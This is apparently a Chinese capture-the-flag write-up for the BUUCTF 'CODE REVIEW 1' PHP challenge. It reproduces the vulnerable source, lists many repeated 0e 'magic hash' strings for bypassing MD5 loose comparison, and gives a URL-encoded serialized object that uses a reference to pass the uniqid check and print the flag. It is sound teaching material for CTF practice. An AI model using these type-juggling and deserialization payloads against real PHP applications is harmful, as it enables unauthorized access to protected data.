原题地址:https://buuoj.cn/challenges#BUU%20CODE%20REVIEW%201
题目源码:https://github.com/glzjin/buusec_2019_code_review_1
<?php /** * Created by PhpStorm. * User: jinzhao * Date: 2019/10/6 * Time: 8:04 PM */ highlight_file(__FILE__); class BUU { public $correct = ""; public $input = ""; public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } } if($_GET['pleaseget'] === '1') { if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } } }解题步骤:
①整体阅读源码,发现是一个php反序列化的题目
②源码对比传入md5值,要求是传入字符串不相同,MD5值相同
#在 PHP 中,md5() 函数会返回一个 32 个字符长度的字符串,这个字符串是输入的 MD5 散列值。因此,当你在 PHP 中使用 == 运算符比较两个 MD5 散列值时,它们会被当作字符串进行比较。
#这里有一个重要的注意事项:在 PHP 中,== 运算符对于数字字符串和数字的比较会进行类型强制转换。例如,"0e123" == "0e456" 会返回 true,因为这两个字符串都被解析为数值 0。然而,对于两个 MD5 散列值的比较,这种情况通常不会发生,因为 MD5 散列值通常包含多种字符,不只是数字。
因此,可以利用这个特性,构造出md5值具有0e开头的字符串即可,下面是一些示例
s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
③进入下一步反序列化
看BUU class源码,只要让$correct和$input相等就能拿到flag了,但是$correct是uniqid()生成的,找一下手册
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。 注释:由于基于系统时间,通过该函数生成的 ID 不是最佳的。如需生成绝对唯一的 ID,请使用 md5() 函数。可以用&来引用,类似c语言中的指针,使$input指向$correct的地址,让他们永远相等。
④本地构造序列化对象即可
$a = new BUU; $a ->input = &$a->correct; //O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3BN%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D echo(urlencode(serialize($a)));⑤构造payload即可拿到flag
flag:flag{75e3a864-6f30-4172-a572-d47cb0560ede}
发表评论